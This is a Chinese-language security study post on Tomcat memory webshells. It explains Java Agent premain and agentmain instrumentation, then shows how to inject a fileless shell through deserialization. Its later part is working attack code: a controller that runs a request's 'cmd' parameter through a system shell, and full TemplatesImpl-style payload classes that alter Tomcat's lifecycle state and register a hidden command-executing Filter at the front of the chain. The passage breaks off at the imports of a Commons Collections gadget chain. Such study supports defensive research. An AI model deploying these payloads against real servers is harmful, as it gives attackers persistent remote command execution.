# 前言

​ 先是去参加鹏程,然后又是强网拟态,回来后一直在写安卓和防火墙的期末作品。差不多快一个半月没有维护自己的小菜园了。这里还是书接上回,将 tomcat 内存马最后一种类型学习记录一下。因为本篇内容是边学边记录前面有些内容写完后面觉得不太合适又又部分改动,所以有些地方可能会有些逻辑不是很顺畅。

# Java Agent

​ JDK 1.5 开始,JVM 提供了探针接口(Instrumentation 接口),便于开发人员基于 Instrumentation 接口编写 Java Agent(通过 java.lang.instrument 实现的工具我们称之为 Java Agent)。它是 main 方法之前的一个拦截器,和前面学习的 filter 过滤器很像,不过 Java Agent 是在 main 方法执行前运行。允许 JVM 在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class (类字节码) 进行重新加载 (Retransform)。

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法(Agent 模式),在启动时进行加载
  2. 实现 agentmain 方法(Attach 模式),在启动后进行加载

Agent 是一个真实存在的类,其在 sun.management 包下

# Java Agent 使用

代码位于 java.lang.instrument 下,其类和接口如下

image-20231211123104493

实际上内容不是很多,这里简单看一下

# ClassFileTransformer 接口

image-20231211123307880

在这个接口中就这一个方法,这个方法的实现可以转换提供的类文件和返回一个新的替换类文件。

这里有大量的注释内容类说明这个接口,这里将对应参数注释展示

public interface ClassFileTransformer {
     /* @param loader                如果是引导加载器,则要转换的类的定义加载器可能为空
     * @param className              在 Java 虚拟机规范中定义的完全限定类和接口名称的内部形式的类名。例如,“java/util/List”
     * @param classBeingRedefined    如果这是由重新定义或重新转换触发的,被重新定义或重新转换的类;如果这是一个类加载,则为 null
     * @param protectionDomain       被定义或重定义的类的保护域
     * @param classfileBuffer        类文件格式的输入字节缓冲区不能被修改
     * @throws 					   如果输入不表示格式良好的类文件,则为 IllegalClassFormatException
     * @return  				   格式良好的类文件缓冲区 (转换的结果),如果不执行转换,则为空。
     * @see Instrumentation#redefineClasses
     */
    byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException;
}

# Instrumentation 接口

这个接口中的方法就比较多了,它是 Java 提供的监测运行在 JVM 程序的 API ,利用 Instrumentation 可以实现的功能如下表所示

类方法功能
void addTransformer(ClassFileTransformer transformer, boolean canRetransform)添加一个 Transformer,是否允许 reTransformer
void addTransformer(ClassFileTransformer transformer)添加一个 Transformer
boolean removeTransformer(ClassFileTransformer transformer)移除一个 Transformer
boolean isRetransformClassesSupported()检测是否允许 reTransformer
void retransformClasses(Class<?>... classes)重加载(retransform)类
boolean isModifiableClass(Class<?> theClass)确定一个类是否可以被 retransformation 或 redefinition 修改
Class[] getAllLoadedClasses()获取 JVM 当前加载的所有类
Class[] getInitiatedClasses(ClassLoader loader)获取指定类加载器下所有已经初始化的类
long getObjectSize(Object objectToSize)返回指定对象大小
void appendToBootstrapClassLoaderSearch(JarFile jarfile)添加到 BootstrapClassLoader 搜索
void appendToSystemClassLoaderSearch(JarFile jarfile)添加到 SystemClassLoader 搜索
boolean isNativeMethodPrefixSupported()是否支持设置 native 方法 Prefix
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix)通过允许重试,将前缀应用到名称,此方法修改本机方法解析的失败处理
boolean isRedefineClassesSupported()是否支持类 redefine
void redefineClasses(ClassDefinition... definitions)重定义(redefine)类

# ClassDefinition 类

public final class ClassDefinition {
    /**
     *  要重定义的类
     */
    private final Class<?> mClass;
    /**
     *  用于替换的本地 class ,为 byte 数组
     */
    private final byte[]   mClassFile;
    /**
     *  构造方法,使用提供的类和类文件字节创建一个新的 ClassDefinition 绑定
     */
    public ClassDefinition( Class<?> theClass, byte[]  theClassFile) {
        if (theClass == null || theClassFile == null) {
            throw new NullPointerException();
        }
        mClass      = theClass;
        mClassFile  = theClassFile;
    }
    /**
     * 以下为 getter 方法
     */
    public Class<?>  getDefinitionClass() {
        return mClass;
    }
    public byte[] getDefinitionClassFile() {
        return mClassFile;
    }
}

# 启动时加载

一个类 AgentUseTest

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentUseTest {
    public static void main(String[] args) {
        System.out.println("this is a Agent test!");
    }
    public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载
        System.out.println("Premain start!!!!");
        System.out.println(args);
        System.out.println(instrumentation.toString());
        System.out.println("Premain end!!!!");
    }
}

然后创建 MAINFEST 文件(注意末尾有空行)

Manifest-Version: 1.0
Premain-Class: AgentUseTest
Main-Class: AgentUseTest

这里将其打包为一个 jar 文件

image-20240118161250338

然后创建了一个 TestEcho 类

public class TestEcho {
    public static void main(String[] args) {
        System.out.println("this is a test");
    }
}

在然后是

Manifest-Version: 1.0
Main-Class: TestEcho

打包

image-20240118161610430

接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

java -javaagent:AgentUseTest.jar -jar .\TestEcho.jar

image-20240118162012112

可以看到我们 agent 中 premain 的代码被优先执行了

image-20240118162038561

​ 上面可以看到实现 premain 获取到传入的参数,这里可以看到实际上我们不止获取到了 args,同样这里还输出了一个 sun.instrument.InstrumentationImpl,这个 Instrumentation 实际上在前面已经提到过了,它是 Java 提供的监测运行在 JVM 程序的 API 。

# 动态修改字节码 demo

这里实际上就是使用到上面提到的这个 Instrumentation 来实现。首先利用 addTransformer 来注册一个 transform,然后实现 ClassFileTransformer 接口

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentUseTest {
    public static void main(String[] args) {
        System.out.println("this is a Agent test!");
    }
    public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载
        System.out.println("Premain start!!!!");
        System.out.println(args);
        System.out.println(instrumentation.toString());
        instrumentation.addTransformer(new ClassFileTransformerTest(),true);
        System.out.println("Premain end!!!!");
    
    }
}

实现 ClassFileTransformer 接口接口的方法,这里可以实现一些自己的功能,这里我简单的做了一些打印

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
// 每当类被加载,就会调用 transform 函数
public class ClassFileTransformerTest implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("ClassFileTransformerTest start!");
        System.out.println(className);
        System.out.println("ClassFileTransformerTest end!!");
        return new byte[0];
    }
}

如果需要修改已经被 JVM 加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: AgentUseTest
Main-Class: AgentUseTest

image-20240118185823399

可以看到这些类都是在 JVM 启动时被加载

值得注意的是 premain agent 的模式有一个致命缺陷就是一旦 agent 抛出异常,会导致主程序的启动失败。

还是用上面的例子,这次打包 jar 文件时在 mf 文件中不添加上前面提到的 Can-Redefine-Classes: true,Can-Retransform-Classes: true。刚好验证这两个是否为必须项

image-20240118192433297

这里重新打包文件,可以看到合理 error 后,我们的主程序 TestEcho 没有成功执行

agent 的方法名必须是 premain,否则会导致报错

这里验证一下这个说法,将上面的测试中的 mf 文件修改回来,然后修改 agnet 中的 permain 的方法名如下

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentUseTest {
    public static void main(String[] args) {
        System.out.println("this is a Agent test!");
    }
    public static void premain1(String args, Instrumentation instrumentation){// 在启动时进行加载
        System.out.println("Premain start!!!!");
        System.out.println(args);
        System.out.println(instrumentation.toString());
        instrumentation.addTransformer(new ClassFileTransformerTest(),true);
        System.out.println("Premain end!!!!");
    
    }
}

这里重新打包测试

image-20240118192845544

这里可以看到抛出了异常 sun.instrument.InstrumentationImpl 类的 loadClassAndCallPremain 方法指定方法名必须是 premain

premain 有两种定义方式,且带有 Instrumentation 参数的方法的优先级更高

premain 有下面两种定义方式

public static void premain(String agentArgs)
public static void premain(String agentArgs, Instrumentation inst)

下面也用简单的一个例子来说明

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentUseTest {
    public static void main(String[] args) {
        System.out.println("this is a Agent test!");
    }
    public static void premain(String args){// 在启动时进行加载
        System.out.println("No Instrumentation");
    }
    public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载
        System.out.println("Instrumentation");
    }
}

image-20240118193906697

​ 这里可以看到实际上调用的只有这个有 Instrumentation 参数的这个另一个是没有被调用的,在运行的时候会先找有 Instrumentation 参数的 premain 方法,如果没有才会去找这没有参数的方法。

# 启动后加载

​ 前面的 premain 方法是在 main 加载前做一些操作,但是我们遇到的多数应是 jvm 已经运行起来了的情况,那么第一种方法就不太可行了,不过从 jdk1.6 开始我们可以通过 Attach 使用 agentmain 来使得在 main 函数开始运行后再运行。与 premain 不同的是 attach 这个模式不能通过启动参数的方式连接主程序,而是需要通过 com.sun.tools.attach 包下的工具类来实现。

高版本 JDK 中是不需要单独引入 Tools 包的。而在低版本中我们需要,借助 com.sun.tools.attach 包下的 VirtualMachine 工具类。

我们需要三个项目:agent 项目、主程序和 attach 项目

首先是 agent 的核心代码

import java.lang.instrument.Instrumentation;
public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain start");
        System.out.println(agentArgs);
        System.out.println(inst);
        System.out.println("agentmain end");
    }
    public static void main(String[] args) {
        System.out.println("AgentMain");
    }
}

pom 文件如下

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Agent-Class>AgentMain</Agent-Class>
                            <Main-Class>AgentMain</Main-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

这里实际上需要的是 configuration 中的内容,在前面 premain 的使用中,我们使用 mf 文件在指定 Main-Class 等配置,这里使用另一种方式就是 pom 文件,当然继续使用 mf 文件也是可以的,如下

Manifest-Version: 1.0
Built-By: Clown
Agent-Class: AgentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Created-By: Apache Maven 3.8.1
Build-Jdk: 1.8.0_382
Main-Class: AgentMain

将这个项目打包备用

然后就是主程序

import java.io.IOException;
public class Main {
    public static void main(String[] args) throws IOException {
        System.in.read();
    }
}

这里就很简单的使用 System.in.read (); 保持项目启动后一直运行

最后是 attach 项目项目

import com.sun.tools.attach.VirtualMachine;
public class AttachMain {
    public static void main(String[] args) {
        try {
            VirtualMachine vm = VirtualMachine.attach("26344");
            vm.loadAgent("E:\\notes\\Java\\test\\Agent\\target\\Agent-1.0-SNAPSHOT.jar", "test");
            vm.detach();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

前面也说了如果是高版本的话需要借助 com.sun.tools.attach 包下的 VirtualMachine 工具类,这里导入一个依赖来解决这个问题

<dependency>
            <groupId>io.earcam.wrapped</groupId>
            <artifactId>com.sun.tools.attach</artifactId>
            <version>1.8.0_jdk8u172-b11</version>
        </dependency>

然后将主程序运行后运行这个 attach 项目即可

image-20240119142037933

下图中是三个项目的关系

image-20240119142503737

# 动态修改字节码 demo

这里和前面的 permain 也有一点区别,在 permain 中我们并不需要 retransformClasses,而在 agent 中这点缺不可或缺,直接看下面这个例子

首先还是 agent 项目

import java.lang.instrument.Instrumentation;
public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        System.out.println("agentmain start");
        inst.addTransformer(new ClassFileTransformerTest(),true);
        // 获取所有已加载的类
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals("Main")){
                try{
                    // 对类进行重新定义
                    inst.retransformClasses(clas);
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
        System.out.println("agentmain end");
    }
}

然后是对 ClassFileTransformer 的实现类

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
public class ClassFileTransformerTest implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace("/", ".");
        if (className.equals("Main")) {
            try {
                Class<?> targetClass = Class.forName(className);
                Field declaredField = targetClass.getDeclaredField("string");
                // 创建目标类的实例
                Object targetInstance = targetClass.newInstance();
                // 设置字段的新值
                declaredField.setAccessible(true);
                declaredField.set(targetInstance, "demo!");
            } catch (ClassNotFoundException | NoSuchFieldException | InstantiationException | IllegalAccessException e) {
                throw new RuntimeException(e);
            }
        }
        return classfileBuffer;
    }
}

这里使用反射去修改成员变量将其改为 demo!,主程序代码如下

public class Main {
    public static String string = "test!";
    public static void main(String[] args) throws Exception {
        while (true){
            System.out.println(string);
            Thread.sleep(3000);
        }
    }
}

这里就每三秒输出异常 string 这个变量,最后的 attach 这个项目没有改变

image-20240119180343829

这里可以看到就已经成功改变,具体的修改 Class 的字节码还用到另一个工具 —— javassist

# Javassist

​ 在上面的例子中动态修改的例子中我使用反射修改了成员变量的值,在线的应用一般不会频繁的使用反射,因为反射的性能开销比较大。实际上有一种和反射一样特性强大且开销较小的工具就是这个 Javassit。

Javassit 提供了两个级别的 API: 源级别和字节码级别

  • ClassPool:一个存放 CtClass 对象的容器。通过 ClassPool.getDefault() 获取
  • CtClass:需要从 ClassPool 中获取,可以简单理解为就是 Class 对象通过调用 get (ClassName) 获取
  • CtMethod:简单理解为 Method 即可

一个简单的小工具,这里我们目前需要用到的也很简单,这里就不在啰嗦

# 反序列化打内存马

​ 虽然前面也铺垫了很多,但是还为时尚早。这里再记录一个新的问题,在前面的内存马学习中似乎都是直接假设我有一个文件上传的背景,但是遗憾的是这种场景不太现实。而且我们上传 jsp 文件然后运行将 jsp 文件删除,虽然看起来没有文件了,但是实际上的使用我们访问这个 jsp 文件的日志就不可避免,那么又如何避免这种情况。就是本节要记录的内容,反序列化打内存马实现真正的无文件落地

在利用 jsp 文件的时候无论是 Filter、Servlet 又或者是 Listener 我们都能较为简单的获取到 request 和 response,因为这两者都是 jsp 内置的对象,所以我们在前面三种内存马的学习中因为最后会将文件上传,所以我们无需考虑到回显的问题。

# 回显问题

网上师傅的思路是寻找一个静态的可以存放 request 和 response 的变量,因为是静态的变量也就不需要获取到对应的实例,当然也肯定是找到的了对应的静态变量: lastServicedRequest 和 lastServicedResponse

这里搭建一个简单的 Spring boot 项目,然后下一个断点

image-20240123113801383

我们想要获取的就是上图中这个 response 变量,顺着堆栈找,考虑到通用性不能是与 spring 相关的一个静态的变量,大师傅是找到了这样一个位置

image-20240123113950964

org.apache.catalina.core.ApplicationFilterChain 这个类中,这里可以看到类中就有符合我们需求的变量

image-20240123135321284

这里判断的变量是 false,但是如果能进入到 if 中的话,这里会调用 set 方法将我们的 request 和 response 存放进去

image-20240123135425023

这里会判断这个值是否为空,如果为空就会将 STRICT_SERVLET_COMPLIANCE(false)赋值给他,可以通过反射去改,也是小问题

package clown.cctest.controller;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@Controller
public class TestController{
    @ResponseBody
    @RequestMapping("/test")
    public void cc11Vuln(HttpServletRequest req, HttpServletResponse res) throws Exception {
        Class ApplicationDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
        Class ApplicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        Field WRAP_SAME_OBJECTField = ApplicationDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT");
        Field lastServicedRequestField = ApplicationFilterChainClass.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChainClass.getDeclaredField("lastServicedResponse");
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        WRAP_SAME_OBJECTField.setAccessible(true);
        // 利用反射修改 final 变量
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECTField, WRAP_SAME_OBJECTField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd") : null;
        if (!WRAP_SAME_OBJECTField.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
            WRAP_SAME_OBJECTField.setBoolean(null,true);
            lastServicedRequestField.set(null,new ThreadLocal());
            lastServicedResponseField.set(null,new ThreadLocal());
        } else if (cmd!=null){
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
            StringBuilder sb = new StringBuilder("");
            byte[] bytes = new byte[1024];
            int line = 0;
            while ((line = inputStream.read(bytes))!=-1){
                sb.append(new String(bytes,0,line));
            }
            Writer writer = lastServicedResponse.get().getWriter();
            writer.write(sb.toString());
            writer.flush();
        }
    }
}

image-20240123144244870

这里简单分析一下这个流程

image-20240123151246210

第一次访问的时候,因为初始化我们还没有修改 WRAP_SAME_OBJECT 的值,所以它现在还是 false,然后下面一个 if 检查请求是否是否支持异步操作( request.isAsyncSupported() ),并且 servlet 是否不支持异步操作( !servletSupportsAsync

image-20240123151516151

第三个 if 检查 request 是否是 HttpServletRequest 类型,这里会直接跳过,然后携带这 req 和 res 调用 servlet.service,最后会触发到我们自己的代码逻辑

image-20240123151742114

这里会通过反射对 WRAP_SAME_OBJECTField 值进行修改,然后第二次访问的时候由于 WRAP_SAME_OBJECT 已经修改了

image-20240123151941898

这里会调用 set 方法存入 request 和 respons,最后还是会调用 servlet.service,触发到我们自己的代码逻辑,第二次就会命令执行了,当然这种方法是具有局限性的

image-20240123162818584

在通过调用 set 设置值之前,所有的 filter 就已经都被运行了,所以在 shiro 中是没法利用的

# 动态注册

解决回显问题后我们就需要通过 Java Web 三大组件将我们的内存马给注入到内存中,这里就需要使用到动态注册的方法

在 Java Web 中有三种注册方式

  • xml 文件注册
  • 注解注册(Servlet 3.0 +)
  • ServletContext 动态注册

xml 文件注册和注解注册在前面的 Servlet 内存马 - 内存马 | Clown の Blog = (xcu.icu) 中已经有写到了,本节中主要是记录一下第三种注册方式

​ Servlet,Listener,Filter 由 ServletContext 去加载,无论是使用 xml 文件注册还是使用 Annotation 注解注册,均由 Web 容器进行初始化,读取其中的配置属性,然后向 Web 容器中进行注册。Servlet 3.0 可以由 ServletContext 动态进行注册,因此可以在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。

# Servlet

需要配置 Servlet 的参数为:loadOnStartup,urlMapping,initParameter,asyncSupport,MultipartConfig 等。

ServletContext servletContext = request.getServletContext();
        ServletRegistration.Dynamic servietnmae = servletContext.addServlet("Servietnmae", Servietnmae.class);
        servietnmae.setLoadOnStartup(-1);
        servietnmae.addMapping(new String[]{"/*"});
        servietnmae.setInitParameter("db","mysql");
        servietnmae.setAsyncSupported(false);

# Filter

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("Clown", Clown.class);
        filterRegistration.setInitParameter("encoding", "utf-8");
        filterRegistration.setAsyncSupported(false);
        filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

动态注册 Filter 中,过滤顺序由 isMatchAfter 属性决定。

filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
        该方法有三个参数:
1EnumSet<DispatcherType> dispatcherTypes 表示过滤器拦截的类型 ForwardIncludeRequestErrorAsync
2boolean isMatchAfter 表示该过滤器是够放在当前web应用中已经存在的过滤器之后,true表示放在当前应用所有的过滤器之后,false表示将该过滤器放在当前应用所有的过滤器之前
3String... urlPatterns 表示拦截的url

# Listener

servletContext.addListener(Clown.class);

# 反序列化利用

这里就使用前面学到的 filter 内存马来简单测试一下,想要动态的注册一个 filter 需要两步,第一步将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,第二步通过上面的 request 和 response 动态注册 filter

这里在项目中先加一个 cc 依赖

<dependency>
          <groupId>commons-collections</groupId>
          <artifactId>commons-collections</artifactId>
          <version>3.1</version>
      </dependency>

第一步这里就比较简单了,和上面的方法是一样的

package clown.memoryhorse.inject;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TomcatEchoInject extends AbstractTranslet {
    static {
        try {
            Class ApplicationDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            Class ApplicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECTField = ApplicationDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChainClass.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChainClass.getDeclaredField("lastServicedResponse");
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
            WRAP_SAME_OBJECTField.setAccessible(true);
            // 利用反射修改 final 变量
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECTField, WRAP_SAME_OBJECTField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            if (!WRAP_SAME_OBJECTField.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null) {
                WRAP_SAME_OBJECTField.setBoolean(null, true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

这样就完成了第一步,将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,接着我们要做的就是动态注册 Filter,根据上一小节的内容,这里只需要

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("Clown", Clown.class);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

但实际上并不行,由于 Tomcat 只允许在初始化过程中调用该方法,所以当初始化结束的时候再调用该方法就会抛出异常,所以我们需要反射先进行修改

当然这里也像 filter 内存马中那样,直接初始化 FilterDef 也是可以的

Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
             stateField.setAccessible(true);
             stateField.set(standardContext, LifecycleState.STARTING_PREP);

这样就可以修改了,完整的 poc 如下

package clown.memoryhorse.inject;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class TomcatInject extends AbstractTranslet implements Filter {
    static {
        try {
            Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field lastServicedRequest = aClass.getDeclaredField("lastServicedRequest");
            lastServicedRequest.setAccessible(true);
            ThreadLocal threadLocal = (ThreadLocal) lastServicedRequest.get(null);
            ServletRequest servletRequest = (ServletRequest) threadLocal.get();
            ServletContext servletContext = servletRequest.getServletContext();
            if (servletContext != null){
                Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context");
                applicatiooncontextfield.setAccessible(true);
                ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext);
                Field context = applicatiooncontext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                StandardContext standardContext = (StandardContext) context.get(applicatiooncontext);
                if (standardContext != null){
                    Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    Filter myFilter =new TomcatInject();
                    // 调用 doFilter 来动态添加我们的 Filter
                    // 这里也可以利用反射来添加我们的 Filter
                    javax.servlet.FilterRegistration.Dynamic filterRegistration =
                            servletContext.addFilter("clown",myFilter);
                    // 进行一些简单的设置
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    // 设置基本的 url pattern
                    filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                    new String[]{"/*"});
                    // 将服务重新修改回来,不然的话服务会无法正常进行
                    if (stateField != null){
                        stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
                    }
                    // 在设置之后我们需要 调用 filterstart
                    if (standardContext != null){
                        // 设置 filter 之后调用 filterstart 来启动我们的 filter
                        Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext,null);
                        /**
                         * 将我们的 filtermap 插入到最前面
                         */
                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
                        // 把 filter 插到第一位
                        Method m = Class.forName("org.apache.catalina.core.StandardContext")
                                .getDeclaredMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase("clown")) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                         FilterChain filterChain) throws IOException, ServletException {
        System.out.println(
                "TomcatShellInject doFilter.....................................................................");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
    }
}

然后这里利用 CC11 来将内存马注入

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
